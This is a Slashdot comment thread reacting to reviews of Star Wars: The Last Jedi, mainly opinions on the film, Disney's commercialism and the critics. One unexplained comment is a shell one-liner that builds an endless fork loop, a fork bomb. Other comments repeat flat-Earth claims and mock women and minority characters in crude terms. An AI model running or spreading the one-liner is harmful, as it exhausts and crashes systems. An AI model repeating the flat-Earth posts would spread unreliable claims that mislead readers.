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Star Wars: The Last Jedi Has Critics In Raptures (bbc.com)
gollum123 shares a report from BBC: "Rousing." "Thrilling." "Addictively bold." Just a few of the superlatives the critics are using to describe the latest film in the Star Wars saga. The Last Jedi, writes the Telegraph, is "enormous fun" and "will leave fans beaming with surprise." The Guardian calls it "an explosive sugar rush of spectacle" possessing "a tidal wave of energy and emotion." Variety, though, swims against the tide, describing it as "the longest and least essential chapter in the series." Rian Johnson's film, says Peter Debruge, is "ultimately a disappointment" that "gives in to the same winking self-parody that is poisoning other franchises of late." Writing in The Verge, Tasha Robinson tends to agree: "Audiences will likely come away from The Last Jedi with a lot of complaints and questions." Driver's Kylo Ren is singled out for praise by USA Today, who describe the character as "blockbuster cinema's most magnetic and unpredictable antagonist since Heath Ledger's Dark Knight Joker." Have you seen Star Wars: The Last Jedi? If so, how do you think it stacks up against the others in the saga?
To think the Emperor/ Ultimate Dark Lord would be brought down by his ForceBook posts. Certainly bold, certainly an unexpected twist.
The Force is feeble in this one.
The reviews I saw from good critics say it is perfectly okay, but not particularly good.
So, this "story" just references the positive one and blurbs them?
This is just more garbage from Disney designed to sell franchise crap.
I get the distinct feeling they're not actually making these movies for the sake of making movies anymore. It's entirely and utterly driven by profit, and very little else. You can tell the original Star Wars movies were made by a bunch of people who had no idea what they were doing, but it worked out for them in the end. SW8 feels like a movie that was designed by a committee and approved by Disney to have the maximum impact on merchandising sales and franchise licensing after the fact. It's basically just a gigantic commercial for their beloved IP.
The first one, (A New Hope) was enjoyable enough at the time, klunky dialogue and all. But the efforts to turn it into a "franchise" have resulted in a series of mostly mediocre follow-ons, and the constant retconning has just been ridiculous. Like other mediocre franchises like "Highlander", or "Iron Man", Star Wars might be more fondly remembered had it been a one-off, like "The Matrix".
Like The Force Awakens this film will open to rave reviews but most people will have forgotten the plot even before they leave the cinema.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I've seen every Star Wars in the theater, and I've got to say: this was accurately comparable in some ways, and inaccurately in countless other ways.
For instance, if you've ever had the opinion that there are too many wars happening amongst the stars, well, POSSIBLY you meant to enter a different theater. One, perhaps, that was playing a movie NOT CALLED EFFING "STAR WARS" DUMMY!!
In any case, all our beloved characters did not fully digest themselves into inside-out digestional tracts, which was AWESOME.
Left me reeling while reeling me back to where I felt about the old things in the future.
No.
I quite enjoyed watching the movie, but left with a feeling that I had to see it at least another three times to fully comprehend it. It has some interesting plot twists and some iconic scenes. It answers some questions, while are left unanswered. At least the movie is good, because it does not have one main character and that we see the struggles of several characters and going through some development to add to the story. It also leads to some dramatic choices being made. In a sense this may make the movie look quite chaotic, but in a sense it might be most emotional dramatic movie of all the movies that have been made so far. Maybe even the most convincing if you give it time to sink in.
Considering the utter embarrassment that the last one was I highly doubt these "critics" can tell the difference between a movie and a steaming pile of shite.
Jesus, do we really have to have this conversation here, where cynicism reigns? Where the default tone is "I'm so much cooler and more intelligent than everyone else"? Where most of the comments are going to be by people who haven't seen it (but they don't need to, because they're so much more intelligent and already can judge based on their massive predictive brain)? Cultural debate is not a ./ strong point.
For my part, I loved it. I might even say it's the best Star Wars film... though that might come down a bit on rewatching... It's funny, serious, genuinely moving when it needs to be, and says very much different things than the other films have. After the feature-length trailer that was The Force Awakens (which I still liked, but was a bit frustrating), we're going new places now.
I was recently wondering what kept people going to these shitty sequels upon sequels upon sequels and it just hit me. It was always a factor, especially in high school, but social media magnified it greatly for everyone: no one wants to be left out.
Even with movies with no mass appeal, everyone in the niche will have to catch it to be clued in to the topic of the day. That's why companies can constantly come out with ever greater piles of shit and it'll still be watched.
I`ve ducked out about 7 years ago other than a few rentals, and I'm glad I miss most of the shitstorms. Sadly, the way things are going, I will only be able to tell them of the early days of free (as in thought) internet where, when you open a browser, you didn't have to press your lips to the screen and virtually suck one of Mickey's balls to gain entry to one of the approved areas that blares 15 commercials at you per page.
.... the worst episode of star wars.
Spoiler : if you were alive when Star Wars hit the theaters in the late 70s then this film is not for you.
Time moves on for everyone, let the youngster enjoy their new drug. As for the all the old guys out there play with star wars lego. It's a more rewarding experience.
What made Star Wars great...
Wasn't the movies. It was the media franchise as a whole, similiar to Star Trek.
While individual shows/movies/etc may stand on their own, what got them fans in droves was the whole package, including books, RPGs, technical manuals/schematics/drawings, extended universe fiction, etc.
The shows/movies were just what got the ball rolling, and the fans and second tier creatives took over for the rest.
The problem however is that both have been mostly top down works, Star Wars under Lucas's thumb and now Disney's, and Star Trek under Paramount/CBS's, neither respecting the wider universe that provided the loyal fanbase and continuing interest during the years where each series was essentially abandoned by its owners and left to the whims of its fanbase and licensed/unlicensed fiction.
Now we have all the plebs and normies claiming they are nerdy and being catered to by those owners and even the tenuous respect for extended universe fiction has been thrown aside because they are catering to the lowest common denominator of fan because they are the more lucrative market.
The real solution at this point in time is creative commons licensed universes with a statement of vision document for do's and don'ts of the universe, such as no time travelling, under what situations fiction would be considered for retconning, what limitations there are on reuse of 'headlining' characters, etc, so the universe remains consistent, nobody feels like characters are being diluted/changed as a result of other authors choosing to portray them differently, etc.
Sadly our childrenhoods, much like our fathers/mothers before us have been raped and pillaged for lowest common denominator media, again. The only thing we can do to ensure it doesn't happen to the next generation of children is too re-empower the nerds AND the masses by creating new media franchises which flaunt the traditional model and are no longer under the auspices of companies whose only concern is money, but rather under community control focused partly or in whole on artistic integrity, vision, and canonical consistency.
Also, tell me who didn't like Skywalker+Mara Jade over the crap they have now?
Some (dozens?) of us are planning to watch the movie for the first time on Blu-ray.
noice jab, meester moore
What is in raptures? Like fucking wife of boss after he fired you?
Movie reviews were embargoed until the last moment, which is usually a bad sign of this being actually bad. Movie studios always put review embargoes up when they push bad movies. As for the non-spoiler reviews linked in the summary, if you read these enough, you'll understand that these are almost never accurate. Some suspiciously read like a damn ad.
I was recently wondering what kept people going to these shitty sequels upon sequels upon sequels and it just hit me.
It was always a factor, especially in high school, but social media magnified it greatly for everyone: no one wants to be left out.
So is sunk cost fallacy.
You don't want all that movie watching so far to be for nothing, now do ya?
Mit der Dummheit kämpfen Götter selbst vergebens
As if it weren't bad enough already, the 3D printing file hosting sites and internet forums are going to be inundated with all the new junk that shows up in this movie. I guess I'll be updating my RES keyword blocks...
Stop picking on Disney. They're just trying to produce highly profitable movies to please their shareholders. Just say the movie is great and shut up.
This is just more garbage from Disney designed to sell franchise crap.
Star Wars was about selling "franchise crap" from day one. I'm old enough to have seen the first Star Wars movies in a theater in 1977. Star Wars was all about moving merchandise right out of the gate. Star Wars action figures and toys were HUGE when I was younger. Disney is just better at it than Lucasfilm was on its own. Anyone who thought Disney wasn't in this to make a buck is delusional. You just hope that the stories are entertaining along the way as well.
I get the distinct feeling they're not actually making these movies for the sake of making movies anymore. It's entirely and utterly driven by profit, and very little else.
It's adorable that you ever thought that the movie industry wasn't all about making money. Yes sometimes some good art got made along the way. But the movie industry has been ruthlessly profit driven as long as there has been a movie industry. There is a reason hollywood accounting is a thing.
SW8 feels like a movie that was designed by a committee and approved by Disney to have the maximum impact on merchandising sales and franchise licensing after the fact. It's basically just a gigantic commercial for their beloved IP.
Are you familiar with any Disney products? That has been their MO since Snow White was released back in 1937. This should not be astonishing to you.
And remember that SW1-3 (the prequels) were clearly NOT designed by committee and the shitty results prove it. The only reason the original trilogy was good was because there were smart people who could limit the amount of damage George Lucas could do to the material.
dit to was its namo.
The Force Awakens was a good formulaic Star Wars movie, but it was a mixture of the first movies with a lot of feminist fan service in the form of Mary Sue--I mean Rey. The crew behind Rogue One was making a lot of SJW noise on social media, including calling the Empire a white supremacist regime (FFS, how can you be so lacking in imagination and still hold a creative writing job?!!!)
SJWs tend to flock together to talk up stuff like this if they like it and think it serves their purposes. So my guess is that the truth is closer to the Variety review than the others. It will be a potentially awesome Star Wars movie almost ruined by Current Year, American politics and angst imposed on a setting where they make absolutely no sense.
I've read some regional reviews (in portuguese) from outlets I take in high consideration, and also read the reviews from the usual suspects. The later are indeed of consensual aclaim, but the former are very critical, yet they come from artistic movie critics and avoid commercial titles.
Haven't seen the movie, and being a moderate fan of the saga, I can't say much, yet it seems to be expected from reviews of Star Wars (usually very biased from fandom) that titles such as Rogue One and The Force Awakens to be taken with a grain of salt. Rogue One comes to mind as an overhyped title from the saga that I couldn't really emphasize with most critic opinion - it did felt gritty in contrast to the main series, but everything else was simply exaggerated, such as performances (which I thought were mediocre with a few exceptions), the non-whitewash issue being brought up as an artistic added value (as if it shouldn't be standard...), and the plot feeling very convoluted while critics said it enlarged the larger storyline - it simply did not, all it does is end as a starting base for The Last Hope and reuse exactly 2 characters that I noted (Vader, because Vader and the deceased virtual captain pof the Death Star).
It seems obvious that this movie is being overhyped, and I am considering not paying the extra buck for seeing it in Imax just because of that.
IIT: Geek Hipsters.
"Oh, I only liked Star Wars before it was cool."
"Oh, it went to hell with Disney, it became all commercialized!"
Yeah, that was Star Wars alright, a niche thing only nerds liked that was never commercialized.
The reviewers I trust say The Last Jedi was awesome. And BTW, I saw TFA, and I know it's become cool to rag on it, but I loved it. The complaints are stupid - it harked back to Star Wars (so called Episode 4) you say? Dude, have you watched ANY OTHER F---ING SW MOVIES IN THE OT? They ALL do that.
It was fun! It had great characters! Having a former storm trooper be the audience surrogate was a massive improvement on the camp robot AS of the original.
And the reviewers say this is better? It probably is. They say it's the best Star Wars movie since ESB, and you know, I'm inclined to believe they may well be right, because SW in the hands of someone who loves the franchise should lead to great things.
So I'm pumped. As someone who loved Star Wars in 1978 when I went to see it at the cinema with my dad. When it was already cool, because it was from the beginning. When it was already commercialized, because the toys were already in stores in the UK when the film finally made it to our shores.
You are not alone. This is not normal. None of this is normal.
Let me give it a shot: Force Awakens was pretty bad
I thought Force Awakens was a decent enough film and quite a nostalgic one. The problem with it was that I had already seen that film way back in 1977. It was in far too many ways nearly a shot for shot remake of A New Hope and not even subtly so. I have no complaints about the film production quality. Not brilliant but fine as a popcorn film like all Star Wars movies. (except Empire which might actually be brilliant) It was far better than any of the prequels though that is the very definition of damning with faint praise.
Rogue One was really good
I liked Rogue One overall except for the uncanny valley problems. I was acutely aware for the CGI remakes of familiar characters and unfortunately while they were good they weren't good enough.
Have not seen it, a number of friends have. Mostly a tale of people running around the galaxy and trying to destroy each other while talking about cosmic fates.
The Wikipedia article is an accurate summary: https://en.wikipedia.org/wiki/...
Good if you have always wanted to see massed AT-ATs locked in combat. Bad if you enjoyed the original movies and are expecting something of that quality.
I'll wait for it to come on HBO.
I'm going to wait until next week so the crowd thins a little. I don't like sitting next to people
No wonder critics are raving since any hint of disapproval would be met with a twitter witch-hunt for misogyny, racism, anti-semitism and whatever other epithets studios use to dismiss criticism.
Several of my friends have seen the movie.
The youngest of them - in his 20s - thought the story was lame and was put off by the "galactic scheming." He felt like the movie was really stretching to find motivations for the actions of the characters. Kylo Ren is the one he complained about the most, he said nothing he did made sense.
The oldest of them - in his 40s - enjoyed the new ships, redesign of older ones, and overall special effects. He said the depictions of space battles were well done, but the camera moved a little too fast for his taste. He didn't have much to say about the plot, other than to recount some of the facts that happened.
Not having seen the film, I can't comment on why there may be a different appeal for different generations. The thing that bothers me about the movie is the distribution deal Disney worked out with theaters. To show the film, they had to agree to keep it on screens for at least 4 weeks.
I remember going to see The Force Awakens on a Friday night a few weeks after it was released. The theater was empty. An usher walked through the theater a couple times just to make sure we were being behaved. That memory stands out more than the film.
I don't know about you, but watching a movie in an empty theater feels creepy.
Overall it's good, even great - funny, intelligent, complex, confusing in a 2.5h package.
The difference in directing really shows, it's a different movie than any previous SW.
I loved parts and disliked others, but it's a complex movie and I appreciate the general message of 'passing the torch' that links to the quintessential human condition.
I'd say that the motivation problem is a general one at the moment. For whatever reason, current writers are terrible at giving characters believable motivation.
That probably means the movie is absolute dog shit.
Yoda shows up. Big fucking deal.
Only the State obtains its revenue by coercion. - Murray Rothbard
I'm all for quality movie reviews, but this shit is getting out of control anymore. Everyone is trying to beat everyone else to the punch on the hyped thing in the last 5 minutes in entertainment to put out some shock-talk binary movie commentary: absolutely mind-blowing or a turd dunk in the toilet. That's all part in due to social media head hunting where they will get torn apart for their review, but this is the real problem: There's ZERO quality reviewers, at all. I sincerely miss the days of Siskel and Ebert, at least I somewhat take stock in that. Those guys, much like anyone else, had their favorite genre, but for the sake of movies, reputation and quality input on a film, they were fucking professionals at it. Kind of why I bypass Rotten Tomatoes anymore for any of this, as well.
Any more, I think someone is trying to win the social-media-look-at-me Pulitzer prize for best catchy 160-character comment who's never probably watched a lick of any Star Wars movies and it's nauseating. Saying something like "Worst movie and disappointment in 10 years" isn't telling me how it stacks up to the last Star Wars in the overall timeline and storyboard of things? Be objective instead of posing super negative or overly surprised for the sake of some cheap fan fare.
Are people still trusting "word of mouth" from the six big media corporations? How quickly we forget "Trump is definitely going to lose why doesn't he just quit the odds are guaranteed LOL". By the fact that it is a sequel it inherently has zero artistic value. The only reason to keep a franchise going is because the consumers are attached to the superficialities of the symbols in the work. And the producers aren't just using that attachment to make money by selling movie tickets. They are leveraging that attachment to influence the audience. Put yourself in the producer's place. You have the most popular franchise of all time. For as long as your movie runs, most of the population that watches it are going to be completely off their guard and just trying to enjoy themselves. Do you love your audience so much that you simply try to make them as happy as possible? Or do you see the opportunity to whisper in messages that benefit the social overtures of your political friends? Which ends up benefiting you more? Do you want political power or are you just going to leave that on the table? Obviously these sequels are just propaganda vehicles.
My karma was manually wiped by site staff https://slashdot.org/~slshdtisctrldbysjws 18 mod up, 10 mod down = bad karma
Astute. Or in the critics' case, what else could they believe and still have jobs and families that are still alive?
My karma was manually wiped by site staff https://slashdot.org/~slshdtisctrldbysjws 18 mod up, 10 mod down = bad karma
They did a prequel recently that was actually, surprisingly good and I'm personally not a great fan of Star Wars. They also did the Force Awakens which is the introduction to this movie. The Force Awakens was a requel, essentially a repeat but with different characters and other superficial modifications. It's an attempt to make the series generational as actors grow old. Unfortunately, the story and character development really sucked. It seemed to think that injecting new replacement characters following a theme of progressiveness would be enough fan service to keep people happy. It instead resulted in characters that serve as little more than faces and plot for the sake of plot. It wouldn't surprise me if the follow up film is much of the same. Good critics will chew it up but a lot of others simply aren't that discerning and are thrilled on the cheap.
What Disney nearly did to their IT staff?
Yeah, they got stopped (barely) but the writing was on the wall, and a lot of good people were hurt in the process.
How quickly people forget...
Boycott Disney. Everything they do. Stand up for your morals. I know I have. You can too.
So rise up, all ye lost ones, as one, we'll claw the clouds.
Disney paid them *double* this time. This is a dangerous time we live in.
I thought Return of the Jedi was worthy as well, it has everything a good SW story needs... could have done without the damn Ewoks though.
RotJ could have been great but they made a left turn at cute and missed the mark. Some parts of the movie were excellent and it's still pretty watchable 30 years later. RotJ is a good example of what happens when a producer gets too excited about merchandising without considering the impact on the story and the health of the franchise. R2D2 is cute and fun but an implausible army of ewoks beating (supposedly) elite imperial troops is just clueless pursuit of short term money.
The thing that bothers me about the movie is the distribution deal Disney worked out with theaters. To show the film, they had to agree to keep it on screens for at least 4 weeks.
I remember going to see The Force Awakens on a Friday night a few weeks after it was released. The theater was empty...That memory stands out more than the film.
I don't know about you, but watching a movie in an empty theater feels creepy.
FWIW, I prefer watching movies in an empty theater. The more people in the theater the more likely there will be rude/annoying people around and it only takes one or two of those to ruin the experience for a lot of other viewers.
That said I don't agree or understand why Disney is forcing the 4 week minimum on theaters either. Most people aren't going to see any movie twice just because it's still in the theater, clearly, since you remember seeing The Force Awakens in an empty theater. That policy really hurts small town theaters, many of which are not showing the movie for that reason, so that can't help Disney's sales. Disney also risks cannibalising viewers from other movies in their empire (animated Disney movies, Marvel, etc.). I feel like whatever incremental sales bump they get by forcing that 4 week minimum would be off-set by those factors... but what do I know... I'm sure Disney ran all their profit maximising algorithms to support the policy...
Since we're veering off-topic anyway.... If Disney/Hollywood want to make more money in the theaters, what they should really do is throw out Hollywood's antiquated flat ticket price structure and allow prices to fluctuate up and down with real market demands (e.g. opening week vs later, action vs drama movies, more or less popular franchises or actors/actresses, discount/rewards programs, etc.).
What? The third Alien movie is by far the best.
You're entitled to your opinion but I doubt many will agree with it. Rotten Tomatoes scores in order were 97%, 98% and 46%. While Rotten Tomatoes has its problems it's a pretty good gauge of public opinion about a movie like this one. Alien 3 was not a particularly good movie in my opinion and it seems the majority share that opinion.
You can't tell someone a twist without it being a spoiler, now I know there's a twist!
wait...is she hot? because if female has prominent role in movie, I want her to be hot.
...are a question of "when", not "if". Or even "why".
They already penis-shaped anyway.
Mit der Dummheit kämpfen Götter selbst vergebens
Still looking for more fake space movies about fake space? Great news! Disney has your next dose ready for consumption a nearby propagantorium.
Notice the weak yellow winter sun? It can't be explained by the tilt of the Earth. It shows you the Sun actually reduces in winter and that the Earth is flat.
Space is fake. The Earth is flat. The eclipses prove it.
Solar Eclipse: https://vimeo.com/230976895
Light of the chromosphere can be observed on the back of the moon. Allais Effect
Lunar Eclipse: https://vimeo.com/92378881
Shadow is black, then changes color to reddish.
Next lunar eclipse: January 30/31, 2018 North America
So people are commenting on a movie they haven't seen it yet.
I think it's in the tone of The Empire Strikes Back. It's an emotional ride! and the producers didn't touch their heart to tell a story, and if you follow the archs of the SW stories, you know what will happen in the second movie of this trilogy.
Blake's 7, a motley crew of renegades and smugglers trying to escape an evil totalitarian empire in a salvaged spaceship. The Liberator
Star Wars, a motley crew of renegades and smugglers trying to escape the evil empire in a stolen spaceship Millennium Falcon
No. I got tired of the Star Wars thing long about episode fifty-seven.
Nobody is buying that droll sh*t anymore
I had high hopes for Rogue1, that SJWfest disaster I had to walk out of after thirty minutes. I thought it was only me until my wife agreed and pointed to others who followed me out. Live long and Prosper I guess.
End of Line.
Space is fake. The Earth is flat. The eclipses prove it!
Solar Eclipse: https://vimeo.com/230976895
Light of the chromosphere can be observed on the back of the moon. Allais Effect
Lunar Eclipse: https://vimeo.com/92378881
Shadow is black, then changes color to reddish.
Next lunar eclipse: January 30/31, 2018 North America
I gave up on the SW franchise. Iâ(TM)m holding on to the 2004 theatrical DVDs, hoping that someday weâ(TM)ll get the unmolested versions on Blu-ray. Iâ(TM)ll probably die before that happens, though.
Profit and personal income are different.
Not really. You don't have any concept of sustainable personal income unless a profit is being made somewhere. A personal income is merely another form of profit.
People often dislike profit, but are completely fine with personal income.
Such people are experiencing cognitive dissonance.
reminds me of all no-lifes who have been worshiping this hollow stuff since the beginning.
It amazes me that this even needs to be stated. It's accepted cannon in the film industry that Star Wars (with a boost from E.T. the Extra-Terrestrial) changed the financing landscape in Hollywood for all time.
The entire commentary track of Scorsese's After Hours is pretty much devoted to how he was forced to make this oddball film on the cheap, or quit making films altogether. None of his larger proposals had viable merchandise. Scorsese's Taxi Driver came out just a year before Star Wars and didn't move a lot of disaffected perpetrator Yellow Cab action figures (not for all of its eternal social relevance).
Pleasing a critical audience is a hard way to make a living. What you're after is sustained consumption, without taking any large risks exploring new territory.
It's a bird ... it's a plane ... it's DOPAMINE!
* A-list adoration (e.g. Silence of the Lambs)
* merchandise / (mostly) ghastly sequel movie loop
* shippers
* man-panties escape fantasy (Marvel universe)
* actual panties release fantasy
Shipping Tropes
Film is an odd genre, because a film works so hard to introduce new and unusual characters, convince the audience to identify with those characters, bang a few pots, then resolve. The formula doesn't really leave time for Friends to explore the entire viable space of choose(6,3)-1 Audience Reaction love triangles (three men in one triangle would be considered unmanly, even today).
Way down the list of viable audience attractors are the motivated cineastes with a chiselled six-pack risk appetite (such a person surely knows that an action sequel predominantly pumping a giant bust line on the promotional poster would require two thumbs up from God himself to even begin to consider; plus we've all seen Phantom and Crystal Skull and Hobbit to reinforce that breast size is but an early, shallow layer in the fully cynical deep-discretion network).
Personally I never attend a movie with supernatural themes without reading the spoilers first, because if you're not extra careful, halfway through the movie you find yourself gagging on Uri Geller's contorted cock (the one thing he could actually bend like Beckham as a younger man).
See? That just took a hard turn to a bad image, because you didn't check the spoilers first.
Clueless?
There were two made for TV movies and a cartoon series that kept the brand in front of kids eyes throughout the rest of the 80s. C-3POs Cereal wouldnt have been a thing if not for Droids. That shit is the reason theres a franchise today. Suck it fanboi.
Today is December 14th and it's not being released until midnight tonight, so how could anybody know what's in it already?
It's not much of a war.
I'd say the problem is the young audience expecting that they can go see a single movie in a series of nine (or is it ten now?) and understand everything that's going on. They want everything handed to them on a platter.
That said I don't agree or understand why Disney is forcing the 4 week minimum on theaters either.
Because it impacts other distribution deals they have where the rights to other distribution forms are limited based on the movie still being shown in X amount of theaters. Basically, this is a move to delay streaming/rental/etc for as long as they can given their existing distribution deals. In other words, it is to keep The Last Jedi off Netflix until after the Christmas holidays...
Look on the bright side. After missing it for three movies we'll finally get the 20th Century Fox fanfare back at the start of the film where it belongs.
"Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
Enraptured.
Now get off my lawn.
But I'm still not clear on the robes situation.
Thanks for turning a typical modern comment on its head.
Alright, BIG-ASS SPOILER ALERT. Don't read if you don't want too much information:
Or maybe a few things I need to enjoy the film, as my enjoyment was quite a bit diminished from what I was expecting.
First, where are the men in this movie. We have Leia as the commanding general in this fight. A woman as a combat commander is HIGHLY unusual, but then when she is incapacitated, the 2nd banana is also a woman? Can we have some semblance of reality? And as a man, I feel discriminated against by this and the other things, including:
The person that Finn ends up going on the expedition with to retrieve the galaxy-class codebreaker is... another woman.
Then there's the problem that it seems the men are only allowed to have less-than-admirable roles. Finn is a lying coward that is always looking to desert whatever outfit he is a part of - I'm ok with deserting the stormtroopers since that is mostly an escape from slavery, but ever since, you can't believe a word he says and he's again mostly looking for a way out.
Poe is at least a competent pilot, but not necessarily the hero. Disobeying orders works sometimes when it's absolutely clear that its the right thing to do, but that's not the case here, as the Resistence lost 100% of their bomber fleet to destroy just 1 enemy ship. Leadership was right, Poe was wrong in pursuing this attack. Then he stages a mutiny - OK, the 2nd banana woman was probably a traitorous coward, but still, how do we feel good about this? What is such an incompetent doing in the chain of command at this point, at such a high rank? Just not feelin' it, y'know.
So, where are the actual male heroes? Still looking.
Then there's the stuff that just doesn't work. Rey is this master light-saber swordswoman? I'm already turned off by the 1st 2 episodes of Star Trek: Discovery which has women going hand-to-hand with Klingons, which even Kirk was barely able to do, and winning which is total fantasy. Haven't bothered to watch the 3rd episode, maybe will, maybe won't, but this "equality" nonsense in combat is not believable. There are no female Arnold Swarzeneggers / Rambos and that's what it would take to go up against Klingons. Likewise, that's what it would take for Rey to accomplish what she did in a lot of the fight sequences and survive. I'll take Wonder Woman as pure fantasy, but this is quasi-sci-fi fantasy and I don't like the discrimination against males being exhibited in these latest Hollywood products, and at some point I'm going to stop contributing my $$$ if they keep it up. Discrimination is wrong, period, no matter who it's against.
And, another thing - the introduction of the ability to project onesself in a holographic-like presence, apparently as a function of the force, is brand new, never seen before, extremely useful, and... we're only learning of it in episode 8? I can't recall ever seeing it before. Storytellers I think are not sticking to the parameters of their fantasy world and going too far in "making shit up" and it just doesn't make for a good story when you break your own rules.
Anyway, I got up after watching it with a noticeable lack of the "Wow" I usually get from watching a new Star Wars movie. I got a "Wow" from the Rogue One last year, but not this time.
I just hope the script has less Mary Sue fan fiction vibe than the last disappointing attempt at telling a Star Wars story.
NRRPT/RCT
These are movies made for children and young adults, but they are judged by critics as movies for adults. Critics should compare these to the Lego movies or other similar movies for a youth demographic. Otherwise, you are comparing Star Wars to Citizen Kane would it should be compared to the Cars 3. Yes, I understand that there are a huge number of nostalgic adults that attend Star Wars movies, but they are not the audience.
Too long. Lost interest in the middle part of movie. Disappointing and ridiculous writing.
The heroes are a black guy and a girl. Of course the critics are enraptured. They couldn't care less about the story. It pushes their political agenda. Same for Wonder Woman.
It hardly seems like much harm to believe the Earth is round, only to be proven later that it is flat. It's not like I'm ever going to go to Antarctica and risk falling off the Earth. Unless climate change causes the ice walls to melt and the oceans to drain off into whatever lies beyond.